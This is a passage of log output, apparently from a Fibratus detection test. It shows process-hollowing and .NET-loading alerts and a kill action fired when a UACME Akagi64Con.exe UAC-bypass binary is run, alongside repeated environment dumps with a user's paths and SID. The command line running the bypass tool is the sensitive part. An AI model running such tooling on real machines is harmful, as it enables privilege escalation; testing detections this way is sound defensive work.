Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:53+01:00 level=info msg=sending alert: [Potential Process Hollowing]. Text: Event(s): + Seq: 7301725 + Pid: 5276 + Tid: 12360 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:11.2875087 +0100 CET + Params: cmdline➜ "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71, directory_table_base➜ 33a29b000, domain➜ ARCHRABBIT, exe➜ C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0dedc130c0, name➜ Akagi64Con.exe, pid➜ 7800, ppid➜ 5276, real_ppid➜ 5276, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 17:16:11.2875087 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.seq.link: 1764865146307428092, rule.name: Potential Process Hollowing, tactic.id: TA0005, technique.id: T1055, technique.ref: https://attack.mitre.org/techniques/T1055/, subtechnique.id: T1055.012, subtechnique.name: Process Hollowing, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.name: Process Injection, tactic.name: Defense Evasion, subtechnique.ref: https://attack.mitre.org/techniques/T1055/012/ + + Pid: 5276 + Ppid: 2304 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 7325256 + Pid: 7800 + Tid: 3752 + Type: UnmapViewFile + CPU: 0 + Name: UnmapViewFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:12.7133257 +0100 CET + Params: file_key➜ ffffd605a6d1e180, file_path➜ , offset➜ 0, pid➜ 7800, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 15d96bf0000, view_size➜ 434176 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, subtechnique.name: Process Hollowing, tactic.ref: https://attack.mitre.org/tactics/TA0005/, tactic.id: TA0005, rule.seq.link: 1764865146307428092, technique.name: Process Injection, subtechnique.id: T1055.012, tactic.name: Defense Evasion, subtechnique.ref: https://attack.mitre.org/techniques/T1055/012/, technique.id: T1055, rule.name: Potential Process Hollowing + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + + Seq: 7325316 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:12.7220183 +0100 CET + Params: base_address➜ 7ff9fa800000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2024-11-14 19:20:09 +0000 UTC, cert_not_before➜ 2023-11-16 19:20:09 +0000 UTC, cert_serial➜ 3300000460cf42a912315f6fb3000000000460, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 0, default_address➜ 7ff9fa800000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\AxImp\ca4a65a92bd27aec24b76530261ae608\AxImp.ni.exe, image_size➜ 90112, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1055/012/, rule.seq.link: 1764865146307428092, technique.ref: https://attack.mitre.org/techniques/T1055/, subtechnique.name: Process Hollowing, tactic.name: Defense Evasion, rule.name: Potential Process Hollowing, tactic.id: TA0005, technique.id: T1055, technique.name: Process Injection, subtechnique.id: T1055.012, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:53+01:00 level=info msg=executing kill action: pids=[7800] rule=Potential Process Hollowing source=rules/engine.go:294 +time=2025-12-04T17:16:53+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\csc\2b8acce52c969fd81364a73bcaf836e1\csc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7325342 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:12.7237742 +0100 CET + Params: base_address➜ 7ff9e4870000, checksum➜ 0, default_address➜ 7ff9e4870000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\csc\2b8acce52c969fd81364a73bcaf836e1\csc.ni.exe, image_size➜ 491520, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 1764865146307428092, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005 + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:53+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\csc\2b8acce52c969fd81364a73bcaf836e1\csc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7325342 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:12.7237742 +0100 CET + Params: base_address➜ 7ff9e4870000, checksum➜ 0, default_address➜ 7ff9e4870000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\csc\2b8acce52c969fd81364a73bcaf836e1\csc.ni.exe, image_size➜ 491520, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 1764865146307428092, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, technique.name: Process Injection, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:53+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\KeePass\0aafcaf276ea671c8afa5622f8ced0be\KeePass.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7325420 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:12.7307018 +0100 CET + Params: base_address➜ 7ff9a97d0000, checksum➜ 0, default_address➜ 7ff9a97d0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\KeePass\0aafcaf276ea671c8afa5622f8ced0be\KeePass.ni.exe, image_size➜ 11980800, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, rule.seq.link: 1764865146307428092 + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:53+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\KeePass\0aafcaf276ea671c8afa5622f8ced0be\KeePass.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7325420 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:12.7307018 +0100 CET + Params: base_address➜ 7ff9a97d0000, checksum➜ 0, default_address➜ 7ff9a97d0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\KeePass\0aafcaf276ea671c8afa5622f8ced0be\KeePass.ni.exe, image_size➜ 11980800, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 1764865146307428092, rule.name: .NET assembly loaded by unmanaged process, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, technique.id: T1055, technique.name: Process Injection + + Pid: 7800 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:16:54+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S441824ef#\2aca26790c1610a0abca5f2d57ca3845\Microsoft.ServiceHub.Controller.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7328182 + Pid: 7800 + Tid: 3752 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:12.8950529 +0100 CET + Params: base_address➜ 7ff9ad4d0000, checksum➜ 0, default_address➜ 7ff9ad4d0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S441824ef#\2aca26790c1610a0abca5f2d57ca3845\Microsoft.ServiceHub.Controller.ni.exe, image_size➜ 3649536, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 7800, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 1764865146307428092, rule.name: .NET assembly loaded by unmanaged process, 